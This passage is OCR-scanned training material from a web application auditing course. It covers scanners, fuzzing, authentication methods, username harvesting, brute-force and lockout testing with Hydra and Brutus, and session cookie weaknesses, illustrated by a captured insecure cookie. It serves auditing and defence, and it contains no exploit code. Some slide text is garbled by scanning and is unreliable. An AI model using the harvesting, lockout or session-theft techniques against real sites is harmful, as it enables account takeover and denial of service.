This doesn't mean that automated tools aren't useful. They are great for finding the low-hanging fruit. Even 
so, there's no better web application tester today than a well-trained person with a brain. For some proof, you 
might try pointing Nikto at buggybank. It may find some issues, but it definitely won't find them all, and that's 
a badly written application! 
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Burp as a Scanner 
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Among web application penetration testers and security professionals, Burp Suite is widely considered to be 
"the" tool for testing applications. In addition to having an extensible framework and a large number of built-
in tools, the commercially licensed version has an effective vulnerability testing engine built in to it. 

The slide shows an example of the output from the Burp scanner. In this case, Burp was simply passively 
scanning content as it went by and adding notes about each thing that it proxied. Along the way you can see 
that it actually has something to say about nearly every single website that the user has browsed to! Each of 
the items has detailed information to explain the issue. Each report includes both the content that was sent and 
precisely what was returned so that you can evaluate the data for yourself. To make the best use of this tool 
and what it reports, however, you must be familiar with what the actual impact would be and have at least a 
passing familiarity with how exploitation would be accomplished. We're going to seek to give you much of 
that knowledge throughout the remainder of the material today. 

Burp is typically configured with a target scope. After doing so it is typical for a tester to tell Burp to 
automatically (and actively) scan everything that it comes across on the site. With this process up and running, 
it becomes a largely iterative process. The tester performs some manual testing. Burp watches and then 
actively scans this content. As things are found they are added to the report. Next, the tester finishes testing 
some page, element, or other aspect of the site, so he takes a peek at the report and selects something that Burp 
has found for validation and exploration. 

© 2016 David Hoelzer & Enclave ForensicsTM 	 75 



Fuzzers 

• Fuzzing is an old tactic with new tools! 
— Find all the input orifices that an application has 
— Automatically stick all kinds of junk in all of them at 

the same time 

• Some tools do this: 
— Nessus 
— WebScarab! 

• There's still nothing like a human being for 
some tasks 

cb Based pphcatii 

There have been some advances in the field of automated testing for web applications. The technique that is 
used is fuzzing. Fuzzing is an old tactic, but it has found new life with a new set of tools for web applications. 
Some of the tools we have used have these features built in, such as Nessus and WebScarab. 

Fuzzing is looking for any places that input might be accepted by the application and jamming all kinds of 
junk into those spots in hundreds of different combinations. The results can be surprising, often revealing 
previously unknown flaws in our application's logic. 

Even so, human beings are still the best fuzzers. When a trained person looks at an application, what it asks for 
and how it responds, we can often discover where a weakness lies faster than a fuzzer because we can reason 
on what we see and quickly identify patterns. 
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The Story So Far (1) 

• Checklist Items: 
— Default content 
— Directory indexing 
—Secure base configuration: 

• Examine hidden content 

—Operating system secure 
—Network deployment secure 

In this section, we covered a few more of the basics, particularly with regard to web server configuration. We 
also identified some items that we can build in to a checklist for auditing our web server and application: 

• Is default content or sample content installed on the web server? 

• If so, why is this necessary? Is any of this material executable code? 
• Check that directory indexing has been disabled. 
• Compare the configuration of the server with the manufacturer's or community security 

recommendations. 
• Have appropriate controls and options been configured? 

• Have the server headers been sanitized? 
• Which security baseline has been implemented on the underlying operating system? Has the security 

of this configuration been audited? 
• Does the network architecture support the security and information flow requirements of the web 

architecture? 
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The Story So Far (2) 

• Checklist Items: 
— Identify any known vulnerabilities in 

the applications being used 
— Review automated testing results for 

possible improvements 
— Evaluate risk of "low-hanging fruit" 

curing  \\chi 
 

sed 

Other topics were covered in this section and a few more things to add to our checklist. We'll add more input 
validation items to our checklist later today. 

Use at least one automated tool to evaluate the website: 

• Are there any issues identified by the tools? 

• What risks do these issues represent? 

• What controls already exist to mitigate the risks? 

• Can the responsible individuals remediate the risks identified? 
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Continue with the labs wherever you left off. At this point, you should be moving through both the Web 
Application Vulnerability scanning exercise and the Fuzzing exercise. 
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Roadmap 

• Stating the Problem 
• Web Basics 
• Server Security 
• Configuration Testing 
A Authentication 
• Session Management 
• Sensitive Information 

udit 	Baseel 
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Basic/Digest 

Form-Based 

Certificate 

GET/POST and SSL 

At this point, we've covered all the elementary concepts involved in web applications and web servers. Now 
we move into some of the high-level concepts and draw together some of the information that you've learned 
already. In the rest of the sections, we take a look at the major aspects of web applications. 

First, web applications usually require some form of authentication. Second, the application needs to track the 
identity of authenticated users in a session. Third, the application enables the user to interact, often transferring 
sensitive information in and out of the application. 

In this section, we look at how authentication works in web applications and how to evaluate our 
authentication scheme. 

80 	 © 2016 David Hoelzer & Enclave Forensics TM 



Authentication Introduction 

• Audit Objectives: 
— Determine if 

authentication 
mechanism is secure 

• Controls: 
— Proper 

implementation 
— Encryption 
— Strong credentials 

• Common 
Authentication 
Methods: 

— HTTP Basic 
Authentication 

— Form-Based 
Authentication 

— Client Certificates 
— NTLM Authentication 
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Many web-based applications authenticate the user (that is, validate the user's identity). If there are security 
weaknesses in the authentication, then the application is exposed to severe risk, such as unauthorized access, 
fraud, and theft of sensitive customer data. Let's examine several common forms of authentication and 
determine the relevant audit points. 

There are three popular forms of authentication for web applications. These are use of digital certificates, 
form-based authentication, and HTTP Basic authentication. We consider each of these in turn, examining the 
pros and cons of each. There is a fourth mechanism, NTLM authentication, which makes use of HTTP Digest 
authentication, but this is not nearly as common as the others. We give you some information about this as 
well. 
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Methods: HTTP Basic 
Authentication 

• Strengths: 
— Easy to implement 

• Weaknesses: 
— Not easily cleared from 

browser (that is, log out 
function) 

— Not encrypted 
— Trivial to brute force 
— Acts like session ID: 

• Confuses long-term secret 
with short-term secret 

• Best Practices: 
— Encrypt all traffic during 

and after authentication: 
• Credentials are sent with 

every request 

\ucl fig \\ 
	

Based 

HTTP has an authentication mechanism built in to it. This is called Basic authentication. When a resource, 
such as a web page, is protected by Basic authentication, the web server sends a special HTTP header. This 
header causes the browser to prompt the user for a username and password. The username and password are 
sent in an encoded form in the HTTP header of subsequent requests. This encoding is a base-64 string to help 
comply with the HTTP specification, particularly removing spaces and other special characters. Encoding is 
not the same as encryption because it can easily be reversed without any special knowledge. One way to 
secure HTTP Basic authentication from eavesdropping is to encrypt the entire connection using SSL. 

When Basic authentication is used, it is difficult to clear the credentials from the client. In fact, the easiest way 
to clear them is to convince the user to exit out of the browser completely! It is possible to implement a log-off 
function that clears the credentials by returning an HTTP 401 (Unauthorized) header to the client. To do this, 
however, you have to either automatically refresh to the 401 message or convince the user to click a sign-off 
button. 
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Authentication Methods: 
Form-Based 

• Strengths: 
— Easy to implement 
— Reasonable balance 

between security and 
convenience for users 

• Weaknesses: 
— Brute force potential 
— Misconfigurations could 

expose credentials 
— Same weaknesses as 

user name/password 
— Not encrypted by default 

\ ta n 

• Best Practices: 
— Use HTTP POST to 

submit user credentials 
— Submission of user 

credentials is via 
encryption (e.g., SSL) 

— Password-type fields use 
TYPE=PASSWORD 

— Consider using tokens 
(e.g., SecurelD) 
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The POST method is recommended for any form that submits sensitive data, especially authentication 
credentials. Because the GET method places all input (for example, the user's password) into the URL, this 
exposes the input in various ways (for example, the browser history file). More detailed examples of how the 
GET method exposes user input are given later. 

The form should be submitted via SSL to prevent eavesdropping. The URL to which the form data is sent (the 
HTML parameter called ACTION) should be https (for encrypted), not simply http. 

Form-based authentication should use the HTML tag of TYPE=PASSWORD for password-like form 
elements. This HTML tag causes user input to appear as asterisks (that is, *****) to prevent a malicious 
onlooker from seeing the sensitive data appear on the screen. 

Finally, for the highest level of security based on forms, consider using tokens. Tokens are hardware devices 
or software applications that a user needs to successfully authenticate. Without physical possession of the 
token, it is (in theory) impossible for the user to log in. 
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Authentication Methods: 
Client Side Certificates 

• Strengths: 
— Highly secure 
— Allows nonrepudiation 
— Confidentiality 
— Mutual authentication 

• Weaknesses: 
— Limited mobility and 

interoperability 
— Administration 

(e.g., revoking 
certificates) 

• Best Practices: 
— Best form of 

authentication for B2B 
and high-security needs 

— Use hardware token 
(e.g., smart card) to 
increase mobility 
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Digital certificates are issued by trusted third parties known as Certification Authorities (CAs), using the 
industry-standard X.509 format. The CA digitally signs the certificate using its own private key, thereby 
vouching for the holder's identity and protecting the certificate against tampering. 

Digital certificates bind information about the certificate owner to the owner's public key, which is used to 
encrypt data. Typically, a web server that handles sensitive data encrypts, or scrambles, the traffic between the 
user and itself, especially when the data travels across untrusted networks, such as the Internet. In that case, 
the web server presents the user with a digital certificate that serves two purposes: 

• Authentication: The web server's identity is proven to the end user. This helps prevent users from 
being redirected to a malicious site surreptitiously. 

• Confidentiality: The web server's public key is embedded within its digital certificate and facilitates 
the encryption of a session key, which is then used to encrypt traffic between the server and the user. 
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NTLM Authentication 

• Single Sign On solution for IIS- 
based ASP.NET  applications: 
—Only useful for Intranet applications 
—Requires use of IIS 
—Not a standard: 

• Leverages digest authentication 
—Secure when session ID is protected: 

• In other words, we're using SSL/TLS 
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Before we move on from our authentication methods, we should mention NTLM authentication. We won't 
spend any significant time with this topic today because we are primarily focused on Internet-facing 
applications. This isn't to say that internal applications shouldn't be tested, but the security that NTLM 
authentication provides is considered "good enough" provided you are willing to accept whatever risks exist in 
your Windows Domain since that is where the security of the accounts is managed. The only significant risk 
inherent in NTLM authentication is that it can be vulnerable to all the session ID attacks that we discuss later 
unless the session tokens are protected. We cover that more in a bit. 

For now, here are some useful facts about NTLM authentication. First, this method is useful only for internal 
applications. The reason is that NTLM embedded credentials take an Internet standard (Hash-based 
authentication) and extend it. This effectively makes it incompatible with anything else that understands hash-
based authentication. For this reason, only Microsoft-based servers (IIS) and proxies (ISA) can be used as 
proxies and endpoints. Of course, Internet Explorer is also more or less a requirement, which leaves out a 
whole host of people. 

Another significant reason that limits our use of this for the Internet is that Microsoft advises that a public-
facing IIS server should never be joined to a domain for security reasons. This immediately limits the 
usefulness of using NTLM authentication over the Internet, especially coupled with the other issues mentioned 
here. 
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Side Note: Warning Banners 

• What is your organization's policy? 
—Verify that all appropriate warnings 

are in place 
—Verify that any privacy concerns 

regarding logging are addressed 

lirirl \ (1) ased 	plicaturns 

The use of warning banners is generally encouraged for entry points into your web application, such as with 
login pages. 

Your legal department should review and approve all warning banners. Verify that whatever your 
organization requires for warning banners have been appropriately displayed. It is also wise to research any 
privacy legislation issues that could impact any data collection that you perform and verify that you are 
adequately notifying users of what information you collect, why you collect it, and what recourse (if any) the 
consumer would have regarding that collection. 
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• Threat: A malicious third party 
could collect valid usernames. 
—We reveal too much information: 

• Failed login 
• Account creation 
• Password reset options 

User Name Harvesting (1) 

A significant threat against web applications for authentication is brute force password-guessing attacks. To 
help to mitigate this threat, it is important to protect the usemames from discovery. 

Frequently, to be helpful and to limit customer service calls, our application may provide far more information 
than is necessary. For example, when a user attempts to log on but enters the incorrect password, our 
application might offer a hint, a password reset option, or something similar. What if the user enters the wrong 
usemame? Does it present a different message? If so, an attacker needs to simply discover this behavior and 
then leverage it to begin harvesting usemames. 

After a list of usemames has been generated, it is a simple matter to run a dictionary or brute force password-
guessing attack against the application, potentially gaining unauthorized access! 
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User Name Harvesting (2) 

• Invalid Username • Valid Username 
CoOgie Accounts 
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For an example of this concept, look at the account creation process for Gmail. We are given the opportunity 
to select a logon name to use with Gmail. When we try dhoelzera and check availability, we find that we can 
use that name. If we try dhoelzer, we are informed that this name is not available! 

This means that with little effort we can create a script that can harvest millions of usernames from Gmail in a 
short time. What can we do with them? Well, we could try some password attacks, but we could also sell the 
list to someone who sends unsolicited commercial e-mail or other types of junkmail for a tidy profit! 

Another potential impact of this is a denial-of-service attack. How so? If your system locks accounts out after 
a certain number of bad attempts, an attacker who harvests account names could simply choose to lock out all 
the accounts that have been discovered. 
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User Name Harvesting (3) 

• Southwest.com:  

Username and Security Questions 

Create a Username that will be easy for you to remember next time you want to access your account. Also, to 
make your account more secure, answer two security questions. If you forget your Username or Password in 
the future, we will use the two questions to verify your identity, 

*Username aboalz 

Yes, it is available 
Usernames must be be 
special characters. 

*Password Your password will not change. 

Security Question 1, I What is the name of the aty inwfi t you were bomi 

*Answer 

Check tAv &lab li 

4 and 	 Case insensitive with no 

• • • • • 
• • • • • 
• • • 
• 
• 
• • 
• 
• • • 
• 
• • 
• 
• • • 
• • 
• 
• • 
• • • 
• 
• 
• 
• 

Just to be fair, here's another example of revealing usernames. Even if we don't show a lockout message or 
say, "That's not a valid username" versus "That's the wrong password" type messages, user account creation 
is a common place that we reveal too much information. 

A common question that people ask in class is, "Okay. So how do we fix that? What if we want users to pick 
their own user names?" Here's how we deal with this issue in our secure applications. 

The user is given the opportunity to give input into what his username will be. However, regardless of what 
name the user selects, regardless of whether there is already a user with that name, the user is never permitted 
to have that name. Instead he is then assigned a username based on what he has selected. For example, if the 
user selects dhoelzer our system will say, "That username is unavailable. We have assigned you username 
dhoelzer8321." 

We are not saying that there are 8,320 other people with that username. The number tacked onto the end is a 
random value. Of course, we have verified that there is no other user who has already been assigned that 
particular username. In this way, the user has selected a piece of the username, but we have still created a 
mechanism that makes brute forcing the usernames much more difficult. 
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On the Topic of Passwords 

SCHWAB 

Forgot Your Password 

TM patroent you'll...OW*1M tavola  PIWNI 01,190. 

Select a new password 
	

A," 

Your new password must 
• Include 6-8 characters and numbers 
• Include at least one number between the nest and last characssrs 
. Contain no symbols (I, %, #, etc.) 
. Cannot match or bee subset of your Login ID 

Examples of valid passwords: kev5In, 2be111, will lam 

• Comm ro.nams 
• Cammt mutt. ur OS • .O.VOier1/1.00P 11) 

H OVIP•W raid Cat Gar kmdo. ZDe .  I I.*,  win 

tiimpar■ard 

Wry NUMMI 

\ttditin \\eh  

As long as we're already talking about passwords, make sure that your applications allow your users to select 
strong passwords. Take note of this screen shot. This application is currently running on the Charles Schwab 
investment management site. The password that the user is selecting is used to protect investments, 401k 
funds, and more. Take note of the restrictions: 

No longer than 8 characters long 

No symbols of any kind 

The only "strong" requirement is that a number must appear somewhere between the first and the last 
characters. Does this seem "strong" to you? Ensure that your applications allow your users to select strong 
password or phrases! Worse, the examples given by the website are quite likely to be used by frustrated users 
who do not completely understand the limitations! 
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Schwab Is Not Alone! 

TV 	Ph , sriz,  optimum mil  

Thex enwea pea:sword oxtteire nor, 
cvmpumeec C.1.196,4011 

Invalid Password: Use a combination of 6 
upper and lower case letters and numbers with 
no non-aloahnumeric characters U 	mounts Question* 0 

Contact information 

1. ,o Kno,y Ire boot to, to mach yatt 	 40MITIE0,10,7,1 i> amnr bOonte 

'1 "i 

••
••

••
••

••
••

••
••

••
••

••
••

••
••

••
••

••
••

••
••

••
• 

I don't want you to get the impression that Schwab, a major investment company, is alone in this awful 
practice. Here's a major Internet service provider with several million customers in the Northeast region of the 
United States. Here the user is trying to change his password but notice the restriction! Although he can 
choose a password that is longer than what Schwab permits, this system still restricts the user from using any 
non-alphanumeric characters. Again, this dramatically reduces the possible field of passwords and, in a real 
sense, encourages our users to select poor, easily guessed passwords! 
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Recommendations for Username 
Harvesting 

'ign-On 

Attempt 

1 iser 	 1)a 	wo r <1 • Prevent 
Correct? 	Co rrect? 

No 	 No 

Error #1 	Error #2 

I ,ogin 

messages from 
getting out-of- 
sync by 
implementing 
application logic 
that requires only 
one message 

Sign-On 
Attempt Correct? 

Error #1 

Inn 	ased 1pplican 

Although it is easy to say that the error messages should be the same for each sign-on scenario, a more 

thorough (albeit harder to implement) solution would design the sign-on process with fewer error messages. 

This is especially important if the website supports multiple languages (English, French, and others). 
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Audit Technique for 
Username Harvesting 

• Testing: 
— Intentionally fail sign-on attempts, covering every possible 

scenario 
— Be careful not to lock any accounts; that comes later 
— Record all traffic (HTTP and HTML) and analyze for 

differences 
— If appropriate, test each language supported (e.g., English 

and German) 
• Scenarios 

• NOTE: Even the amount of time to return the error 
message may be an indicator! 

User ID 	PIN 	Response 
Valid 	Invalid 	A 
Invalid 	NA 

• •
 • •

 • •
 • 

• •
 • •

 • •
 • •

 • •
 • •

 •  •
  •  •

  •  •
  • 

• •
 • 

• •
 • •

 •  •
 • •

 • •
 • •

 • •
 

For the best results, compare all the HTML and HTTP (not just the visible error message) from each sign-on 
scenario. The error messages on the screen may be the same, but some HTML or HTTP (for example, cookie 
element) may be different, allowing usernames to be collected. 

Another subtle indication could be the amount of time required to return the error message. Now, a lot of 
things can affect the web application's performance, so it is best to test this when you know the application is 
not loaded with other users, but it generally takes much longer to figure out that there is no entry in a SQL 
database than it does to find the correct entry when it exists. 
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Brute Force DoS: 
Account Lockouts 

• Some sites enforce account lock-outs after a 
specific number of failed sign-on attempts: 
— Beware of revealing user IDs! 

• Threat: A large number of user accounts can 
be locked out using automated tools: 
— HTTP Basic Auth and form-based are both easily 

attacked 
(even with SSL) 

• Impact: Availability/DoS 
• Recommendation: Use speed bump lockouts 

'1) Rased 

  

 

)ns 

  

Beware of locking accounts after a limited number of failed sign-on attempts. Freeware tools are readily 
available to assist a malicious third party in exploiting this to automatically lock out numerous accounts, 
creating a denial-of-service condition. How you protect against this is important because sometime the cure is 
worse than the disease. 

The Speed Bump Lockout Technique 

Implementing a lockout mechanism is important to prevent brute-force attacks. However, how you implement 
a lockout mechanism is even more important. You should implement a "speed bump" mechanism whereby the 
web application inserts a delay, such as 30 seconds, between each login attempt. A variation on this theme is 
to increase the delay after consecutive failed logon attempts. For example, after three incorrect attempts, the 
web application temporarily disables the account for 30 seconds. After the fourth log-on attempt is 
unsuccessful, the web application disables the account for another 45 seconds, and so on. This would continue 
until some maximum was reached, say 15 minutes. This makes brute-forcing the password impractical, while 
still preventing a long-term DoS attack. During these delays, the attacker can continue to try passwords, but 
the application doesn't actually test any of them against the actual account! 
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Brute Forcing Tools 

• We don't actually need to brute force: 
— We do need to verify that lockout functions 

work as advertised! 
• Possible tools: 

— Brutus: 
• www.hoobie.net/brutus/index.html  

— Hydra: 
• www.thc.org/thc-hydra/  

—Burp: 
• We'll try this out!! 

WC 1) 

here are a number of tools that can be used for brute force testing authentication and other forms. Before we 
discuss these in any depth, let's just mention that as an auditor we are typically not trying to actually break in; 
although this can happen. This is one of the areas where "Auditing" and "Penetration Testing" can cross paths. 

It may be that I am trying to verify that password lockouts do occur. To determine this, I would likely begin by 
inquiring as to the lockout process. If validation is important for my objectives, then my next step might be to 
attempt to harvest out valid usernames. With these in hand, I might actually fire up a brute forcing tool like 
this to see whether the accounts do, in fact, lock out, how they unlock, what alerts are generated for the 
administrators, and so on. Clearly, the actual identities of the users is not particularly material to the outcomes. 

In terms of tools, let's discuss a few and demonstrate one in detail. Brutus is a tool that has been around for 
quite some time. Even though the tool has not been updated in more than a decade, it remains a useful tool, 
especially from the point of view of ease of use. It enables the user to utilize a GUI to determine where the 
form elements are and specify how they should be manipulated without ever needing to look at HTML source 
code. 

Hydra, however, is even more powerful but more difficult to use. To effectively use Hydra to deal with web-
based forms, the user must manually determine the name of the form, how it is submitted, and which fields 
need to be manipulated. 

Burp, however, blends these two together. Let's see how. 
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The Story So Far 

• Checklist Items: 
— Is authentication required? If so: 

• How is authentication accomplished? 
• If Basic authentication is used, is it appropriate for the 

level of sensitivity for the data? 
• If Basic is used, is SSL required? 
• If forms are used, is the POST method used? 
• If forms are used, is SSL required? 
• If certificates are used, how are certificates controlled? 
• If certificates are used, how is the CRL managed? 
• How are account lockouts handled? 

— Are speed bump lockouts in use? 

Vadi 	el) Based \I 	icati 

E 11 

Now that we've completed the coverage of our first higher level concept, we're ready to start adding some 
meaty items to our checklist: 

Is authentication required? If so: 
• How is authentication accomplished? 

• If Basic authentication is used, is it appropriate for the level of sensitivity for the data? 

• If Basic is used, is SSL required? 

• If forms are used, is the POST method used? 

• If forms are used, is SSL required? 

• If certificates are used, how are certificates controlled? 

• If certificates are used, how is the CRL managed? 
• How are account lockouts handled? 

• Are speed bump lockouts in use? 
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Please continue in your workbook wherever you left off. 
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Roadmap 

• Stating the Problem 
• Web Basics 
• Server Security 
• Configuration Testing 
• Authentication 

Session Management 
• Sensitive Information 

Auditing \\ •b 
	sect:Applications 

Session State 

URL Rewriting 

Hidden Values 

Cookies 

The section that we are about to consider is one of the most important that we will cover, but the concept 

discussed is one of the most difficult for some people to grasp. Don't worry! If you have any troubles 
understanding what session state is about, talk to your instructor or write to me at dhoelzer@cyber-defense.org  

and we'll try to clear it up. 
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Session Tracking Introduction 

• HTTP is stateless (not a 
continuous connection) 

• A session is a unique instance 
of a specific user interacting 
with a web application 

• Need something that will persist 
across multiple HTTP 
transactions 

• Session identifier (ID) is 
originally determined by the 
server 

• Given to the client before (Java, 
RoR, ASP.NET , shopping carts, 
etc.), during, or immediately 
after the user authenticates. 

• Authentication not required for 
session ID in some cases (e.g., 
Yahoo search engine). 

• Then, for every request, the 
client sends the session ID back 
to the server as a means of 
identifying (i.e., re-
authenticating) the user. 

 

(1 

 

••
••

••
••

••
••

•
••

••
••

••
••

••
••

••
••

••
••

••
••

••
••

 

This section focuses on the method by which the server/application tracks the user's session, and the security 
implications. 

For this course we previously defined a "session" as a unique instance of users throughout the course of their 
interaction with the application. As already noted, authentication may not be needed by the website, yet a 
session may still be in existence, for example, a shopping cart site that simply wants you to enter your credit 
card and shipping information. However, if authentication is required, then protecting session tracking 
becomes even more critical. 

The key concept to understand for session tracking is that a unique identifier (which we call the session ID) is 
used to identify the user for every request made by the web browser. If the site requires authentication, then 
this session ID acts as a form of continuous re-authentication. Anyone with your session ID can impersonate 
you when speaking to the web application. 
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Client 
	

Web Server 
— 1) Request web page 

2) SSL session established? 
— 3) Send logon page 

— 4) Submit logon credentials 

 

5) Validate credentials 
6) Create and send Session ID 
7) Associate identity with 
Session ID 
8) Send transaction choices — 9) Submit transaction 

and the Session ID 
+1111■111■1111•••1111,` 

11111.111111■111111■31111, 

— 

— [Repeat 9 to 11 as needed] 

— N) Log off requested 	_ 

10) Validate Session ID, verify 
authorization for request 
11) Perform transaction and 
return results 
N+1) Session ID is destroyed 

Session Tracking in the Context of 
a Typical Web Application Flow 

ludiri n 	scci pplications 

The typical information flow for a web application is pictured here. This shows various elements such as SSL 
and session IDs. An important concept to understand is that for each transaction (steps 9 and 10), the session 
ID is used to re-authenticate the user. Users have to enter only their credentials once (step 4). Let's use 
another set of terms for these items. We can say that the username and password represent the "long-term 
secret" and, after they are validated, a Session ID or "short-term secret" is substituted for them. 

Therefore, protecting the session ID is critical because it can be used to authenticate another user to the web 
application, potentially impersonating the actual user. 
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Session Tracking Components: 
Session ID and Mechanism 

• Session ID: 
— The unique identifier (e.g., SID=38495784) 
— We'll discuss best practice in our audit 

checklist at the end of this section 

• Session Tracking Mechanism: 
— How the session ID is embedded into 

client/server traffic (e.g., cookie or 
embedded into all URLs) 

1 

 

Two primary areas must be considered when examining a web application that maintains state. First, there is 
the session ID. We must examine how it is created and managed over time. The creation and management of 
the session ID is a significant area for analysis. 

The second is the session tracking mechanism in use. This is the mechanism used to transfer the session ID 
between the client and the server. Frequently, you will find that in this context the session ID is encapsulated 
in some way to make up a composite Session Token. Using the incorrect or an insecure session tracking 
mechanism is the other significant area that requires our attention. 

We'll look at the main techniques used for session management today and discuss how to generate good 
session IDs as well as how to identify bad ones. 
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Session Tracking Methods 

  

  

• Various methods of session 
tracking exist: 
- URL Rewriting 
— Cookies 
— HTTP Basic Auth 
—Hidden Fields 	1111 	le 	le  

  

   

  

\co 	\V(.) Baset 111 

  

First, we examine the session tracking mechanisms used to transfer the session ID between the client and 
server. 

We discuss the advantages and disadvantages of each session tracking method over the next few slides, and 
supply an audit checklist for each method. 

When we finish the tracking methods, we discuss the properties that the session ID should have. Remember, 
the session ID is the thing being passed around, the tracking method is how it gets passed around. 
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URL Re-Writing 

• Definition: 
— Server places session ID 

into URLs within HTML 

— Example: 
/buy.cgi?sessionID=384k 
DO 

• Example: Amazon.com  
appears to be using this 
method. 

• Strengths: 
— Compatible with all 

browsers 

— Not perceived as privacy 
risk to users 

• Weaknesses: 
— User tampering is trivial 
— Enormous privacy risk: 

• Browser History 
• Web Server Logs 
• Proxy Logs 

, 

 

1) 	' 

  

  

11 ,  

   

A key concept for each session tracking method will be that the session ID is to be considered sensitive data, 
the short-term secret, and therefore must be protected from accidental exposure. 

The browser's history file is stored in clear text and may be susceptible to remote theft due to browser 
weaknesses or physical access. Therefore, URLs are not best-suited for transmitting sensitive date, such as 
session IDs. URLs may also be revealed in the HTTP Referer field. Finally, session IDs may be accidentally 
placed at the end of non-encrypted URLs. Users clicking such a link would unknowingly transmit their session 
ID across the Internet unencrypted. 

On the flipside, the advantages of using URL rewriting include compatibility with all browsers and users do 
not perceive this method as a privacy issue (unlike cookies—more on this later). 

Using URL rewriting may be acceptable, but consider carefully how the risks are mitigated in the application 
to account for exposure points. 
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Session Tracking Methods: 
Cookies 

• Definition: 
— Cookies are a general 

mechanism that a web 
server can use to store and 
retrieve information on the 
client (i.e., web browser). 

— See Web Primer section for 
details 

GET http:llyahoo.com/bin/search?p=hack HTTP/1.0 
Accept image/gif. 
Referer: http://www.yahoo.comi  
User-Agent: Mozillaf4.0 (compatible; MSIE 5.01; 

Windows 95) 
Host: yahoo.com  
Cookie: 13.4336h7M1 biig 

• Strengths: 
— Parameters to mitigate 

accidental exposure: 
• Privacy protections! 

• Weaknesses: 
— Privacy concerns by 

users 

— Misconfigured 
parameters can expose 
the cookie 	45;Th• 

• rI •• 

  

• 
\ 	\\ cb  Bose \pplicatiorr, 

Web Primer Flashback 

We already covered cookies, but let's take a closer look. Remember, cookies are nothing more than small 
pieces of text sent between web servers and clients. They provide a convenient place for the web server to 
store a session ID. 

Cookies have various fields that allow the server to dictate how the client should handle the cookie. These, 
when used properly, can help reduce the changes of the session ID from being compromised. For example, 
marking the cookie as "Secure" requires that SSL is in use for the cookie to be sent. Setting an expiration date 
provides for the capability to limit the lifetime or even make the cookie nonpersistent. 

Here's an interesting fact: The reason that cookies were added to the HTTP standard was to allow application 
developers to maintain state. This means that if you want to maintain state, cookies should be the right way to 
do it! Why are people using other methods like URL rewriting? The reason is that many users perceive 
cookies to be a serious privacy risk. Some users even completely disable cookies. If we're trying to sell a 
product and support only cookies, we're limiting our target audience. 
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Example of a "Half-Baked" 
Cookie 

GET / HTTP/1.1 	 Original not marked "Secure" 
Host: www.freecreditreport.com:80  
Cookie: mbox=checkkrue#8273642351Isession#1249682713628- 
927450#9283171151PC#1249669290478-377490.11#1250878891; 
CustNum=0 98219407; CustomerStatus=A; 1C_UniqueID=; LastVisitDate=8/7 '2009 

11:21:29 A 	1 

NavigationPath=Default+Lognr  Customer number sounds important! tChec 
k—LoginInterstitial+MCC; NurnTrialDaysLeft=0; 

1 	Session ID in non -SSL cookie! 	Itreport.com/;  
ULU— we / uoalerv,feacau.)uuuLity+4916aa; 
ASP.NET_Sess tonld=g1n4hj fd88rsa31245bqltdg55; BIGipServerfreecreditreport-
web-pool=177557002.37663.0000; 
Login= 	0A3B5222Al2C662F96B8CDD2EDBADFC0078FFB92DAEA68E 
4A57D951A9ED97  07F17D340351ED87C2D724EFO8F2CD309E7E 

This sounds important... 
11.1(.11(111 , ' Al 1. iJ I Jir,Cll 

Let's take a quick look at a cookie that's a good example of what not to do. The cookie that we're looking at 
here comes from FreeCreditReport.com , a well-known consumer credit monitoring agency. Considering the 
type of information that it enables you to access and that you must provide to use its service, we would expect 
that it would have absolutely the tightest security possible. 

Looking at the cookie, here are some things that we find. First, this cookie was extracted from an HTTP 
(normal, non-encrypted) web transaction. We can see that this is true by looking at the Host header in the 
transaction. With that in mind, we would hope to find that there is absolutely nothing sensitive in this cookie. 
Unfortunately, we find a mysterious looking Login value and a CustNum value. Chances are that one of the 
two of these, possibly both, are used to identify the customer number. This sounds like information that 
shouldn't be in clear-text. 

Added to this, we see an ASP.NET_Sessionld value in addition to a number of other Session types of values. 
Think for a moment about what this means. If users log into FreeCreditReport, they are given a valid session 
ID. If those users browse to some other site and then browse back to FreeCreditReport, chances are they will 
return in a normal HTTP request, not an HTTPS request. This creates a prime opportunity for someone to steal 
the unencrypted session token and then reuse it! 

How do we protect against this? Remember what we said earlier: Limit the host and path values, set the cookie 
to be "Secure," and make sure the expiration date is appropriate. 
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Technique: 
Detecting Cookies 

• Configure browser to 
"Prompt before accepting 
cookies." 

• NOTE: Shows only new 
inbound cookies sent via HTTP. 

• The most thorough way to 
detect all inbound and 
outbound cookies is with a 
proxy tool such as WebScarab 
(see Tool section for more info) 

    

ring \\ cb  

  

pplica nun s 

    

    

Session10m1111529050'Accounksergt„   

SessioniC.1111529050; AccounUpCV.  
Sessron1D 1111529050 Accounpeqz1   

Confirm 

The site anagesseerchyatioo.eoni wants to set a cook*. 

0 Use my choice ford coolies from t65 site 

Hide Delais 

Name: B 

Content 27r43001u4ssab-2 

Doman: .yahoo.corn 

Path: I 

Serves Sear.; no 

Expires: Thursday, Apre 15, 2010 3:58111PM 

If you use a browser to view inbound cookies in real time, be sure your browser displays all six cookie 
parameters, which we need to view to audit them. Currently, the latest versions of IE and Firefox browsers 
both show all six cookie parameters. 

Viewing inbound cookies via the browser has some limitations. First, you do not see outbound cookies. 
Second, the browser alerts you only for new inbound cookies. This means that the browser will not display an 
alert for a revised cookie. Therefore, the best method is to record all your traffic with a Man-in-the-Middle 
proxy. This enables you to review your traffic later and see every inbound and outbound cookie. On the 
right side of the slide, we can see this being done with WebScarab. WebScarab makes special note of requests 
containing cookies. 
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Basic Authentication Intro 

• Definition: 
— Authentication mechanism built in to HTTP 

• Strengths: 
— Accepted by all browsers 
— Built into HTTP: No extra HTML required 

• Weaknesses: 
— User credentials persist on client 
— Short-term secrets versus long-term secrets 

• NOTE: Basic Auth could be combined with other forms of 
session tracking (e.g., cookie) 

• 	
r inc,  

With Basic Authentication, the user's credentials persist in the browser's memory. There are ways for an 
attacker (with physical access to the client) to extract these credentials. This technique also means that we are 
using the long-term secret as the short-term secret. 

On the positive side, this form of authentication is supported by every single browser ever made. An enormous 
risk, though, is that no server that we know of has built-in support for detecting and locking accounts using 
basic authentication should brute force login attempts occur. 

Also remember that the credentials will be sent in every single request to that web server until you either close 
the browser completely or send a 401 message back to the browser. 
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Traffic Flow for Basic Auth (1) 

• 1) Browser requests a protected resource 
• 2) Server sends response that tells browser to use B 

- HTTP/1.1 401 Unauthorized 
- Server: Xitami 
- Date: Tue, 23 Apr 2001 16:13:22 GMT 
- WWW-authenticate: Basic realm="private" 
- Content-length: 107 
- Content-type: text/html 

asic Auth 

=a! I  I • mrst 
Nase..ra. we, mogevdrne 

Realm 	__ 

Oaewod 

